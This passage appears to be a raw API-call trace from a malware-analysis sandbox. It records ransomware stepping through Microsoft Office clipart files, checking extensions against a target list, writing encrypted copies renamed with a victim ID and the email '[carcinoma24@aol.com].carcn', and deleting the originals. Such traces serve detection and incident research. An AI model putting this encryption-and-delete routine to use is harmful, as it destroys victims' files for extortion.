lstrlenW (lpString=".bz2") returned 4 [0184.240] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.240] lstrlenW (lpString=".7z") returned 3 [0184.240] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.240] lstrlenW (lpString=".dbf") returned 4 [0184.240] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.240] lstrlenW (lpString=".1cd") returned 4 [0184.240] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.240] lstrlenW (lpString=".jpg") returned 4 [0184.240] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.240] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.240] lstrlenW (lpString="AG00090_.GIF") returned 12 [0184.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.434] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=517) returned 1 [0184.434] CloseHandle (hObject=0x360) returned 1 [0184.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0184.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.435] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.435] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.437] GetLastError () returned 0x0 [0184.437] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x205, lpOverlapped=0x0) returned 1 [0184.438] WriteFile (in: hFile=0x374, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x210, lpOverlapped=0x0) returned 1 [0184.439] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.439] WriteFile (in: hFile=0x374, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.439] SetEndOfFile (hFile=0x374) returned 1 [0184.439] CloseHandle (hObject=0x374) returned 1 [0184.440] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.440] SetEndOfFile (hFile=0x360) returned 1 [0184.440] CloseHandle (hObject=0x360) returned 1 [0184.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.442] lstrlenW (lpString=".doc") returned 4 [0184.443] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.443] lstrlenW (lpString=".docx") returned 5 [0184.443] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.443] lstrlenW (lpString=".pdf") returned 4 [0184.443] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString=".xls") returned 4 [0184.443] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString=".xlsx") returned 5 [0184.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.443] lstrlenW (lpString=".ppt") returned 4 [0184.443] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString=".zip") returned 4 [0184.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString=".rar") returned 4 [0184.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString=".bz2") returned 4 [0184.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.443] lstrlenW (lpString=".7z") returned 3 [0184.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString=".dbf") returned 4 [0184.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString=".1cd") returned 4 [0184.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString=".jpg") returned 4 [0184.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.443] lstrlenW (lpString=".doc") returned 4 [0184.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.444] lstrlenW (lpString=".docx") returned 5 [0184.444] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.444] lstrlenW (lpString=".pdf") returned 4 [0184.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.444] lstrlenW (lpString=".xls") returned 4 [0184.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.444] lstrlenW (lpString=".xlsx") returned 5 [0184.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.444] lstrlenW (lpString=".ppt") returned 4 [0184.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.444] lstrlenW (lpString=".zip") returned 4 [0184.444] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.444] lstrlenW (lpString=".rar") returned 4 [0184.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.444] lstrlenW (lpString=".bz2") returned 4 [0184.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.444] lstrlenW (lpString=".7z") returned 3 [0184.444] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.444] lstrlenW (lpString=".dbf") returned 4 [0184.444] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.444] lstrlenW (lpString=".1cd") returned 4 [0184.444] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0184.444] lstrlenW (lpString=".jpg") returned 4 [0184.444] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.445] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.445] lstrlenW (lpString="AG00092_.GIF") returned 12 [0184.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.446] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=502) returned 1 [0184.446] CloseHandle (hObject=0x360) returned 1 [0184.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0184.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.446] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.446] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0184.449] GetLastError () returned 0x0 [0184.449] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x1f6, lpOverlapped=0x0) returned 1 [0184.450] WriteFile (in: hFile=0x394, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x200, lpOverlapped=0x0) returned 1 [0184.451] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.451] WriteFile (in: hFile=0x394, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.476] SetEndOfFile (hFile=0x394) returned 1 [0184.478] CloseHandle (hObject=0x394) returned 1 [0184.481] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.481] SetEndOfFile (hFile=0x360) returned 1 [0184.481] CloseHandle (hObject=0x360) returned 1 [0184.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0184.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.482] lstrlenW (lpString=".doc") returned 4 [0184.482] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.482] lstrlenW (lpString=".docx") returned 5 [0184.482] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.482] lstrlenW (lpString=".pdf") returned 4 [0184.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.482] lstrlenW (lpString=".xls") returned 4 [0184.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.482] lstrlenW (lpString=".xlsx") returned 5 [0184.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.482] lstrlenW (lpString=".ppt") returned 4 [0184.483] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString=".zip") returned 4 [0184.483] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.483] lstrlenW (lpString=".rar") returned 4 [0184.483] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.483] lstrlenW (lpString=".bz2") returned 4 [0184.483] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.483] lstrlenW (lpString=".7z") returned 3 [0184.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString=".dbf") returned 4 [0184.483] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString=".1cd") returned 4 [0184.483] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString=".jpg") returned 4 [0184.483] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.483] lstrlenW (lpString=".doc") returned 4 [0184.483] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.483] lstrlenW (lpString=".docx") returned 5 [0184.483] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.483] lstrlenW (lpString=".pdf") returned 4 [0184.483] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.484] lstrlenW (lpString=".xls") returned 4 [0184.484] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.484] lstrlenW (lpString=".xlsx") returned 5 [0184.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.484] lstrlenW (lpString=".ppt") returned 4 [0184.484] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.484] lstrlenW (lpString=".zip") returned 4 [0184.484] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.484] lstrlenW (lpString=".rar") returned 4 [0184.484] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.484] lstrlenW (lpString=".bz2") returned 4 [0184.484] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.484] lstrlenW (lpString=".7z") returned 3 [0184.484] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.484] lstrlenW (lpString=".dbf") returned 4 [0184.484] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.484] lstrlenW (lpString=".1cd") returned 4 [0184.484] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0184.484] lstrlenW (lpString=".jpg") returned 4 [0184.484] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.484] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.484] lstrlenW (lpString="AG00126_.GIF") returned 12 [0184.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.485] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=3140) returned 1 [0184.485] CloseHandle (hObject=0x360) returned 1 [0184.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0184.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.485] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.485] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.485] GetLastError () returned 0x0 [0184.485] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xc44, lpOverlapped=0x0) returned 1 [0184.486] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xc50, lpOverlapped=0x0) returned 1 [0184.487] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.487] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.487] SetEndOfFile (hFile=0x31c) returned 1 [0184.488] CloseHandle (hObject=0x31c) returned 1 [0184.488] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.488] SetEndOfFile (hFile=0x360) returned 1 [0184.489] CloseHandle (hObject=0x360) returned 1 [0184.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0184.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".doc") returned 4 [0184.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.490] lstrlenW (lpString=".docx") returned 5 [0184.490] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.490] lstrlenW (lpString=".pdf") returned 4 [0184.490] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString=".xls") returned 4 [0184.490] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString=".xlsx") returned 5 [0184.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.490] lstrlenW (lpString=".ppt") returned 4 [0184.490] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".zip") returned 4 [0184.490] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString=".rar") returned 4 [0184.490] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString=".bz2") returned 4 [0184.490] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.490] lstrlenW (lpString=".7z") returned 3 [0184.490] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".dbf") returned 4 [0184.490] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".1cd") returned 4 [0184.490] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".jpg") returned 4 [0184.490] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.490] lstrlenW (lpString=".doc") returned 4 [0184.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.491] lstrlenW (lpString=".docx") returned 5 [0184.491] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.491] lstrlenW (lpString=".pdf") returned 4 [0184.491] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.491] lstrlenW (lpString=".xls") returned 4 [0184.491] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.491] lstrlenW (lpString=".xlsx") returned 5 [0184.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.491] lstrlenW (lpString=".ppt") returned 4 [0184.491] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.491] lstrlenW (lpString=".zip") returned 4 [0184.491] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.491] lstrlenW (lpString=".rar") returned 4 [0184.491] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.491] lstrlenW (lpString=".bz2") returned 4 [0184.491] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.491] lstrlenW (lpString=".7z") returned 3 [0184.491] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.491] lstrlenW (lpString=".dbf") returned 4 [0184.491] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.491] lstrlenW (lpString="C:\\Program Files\\Microsoft 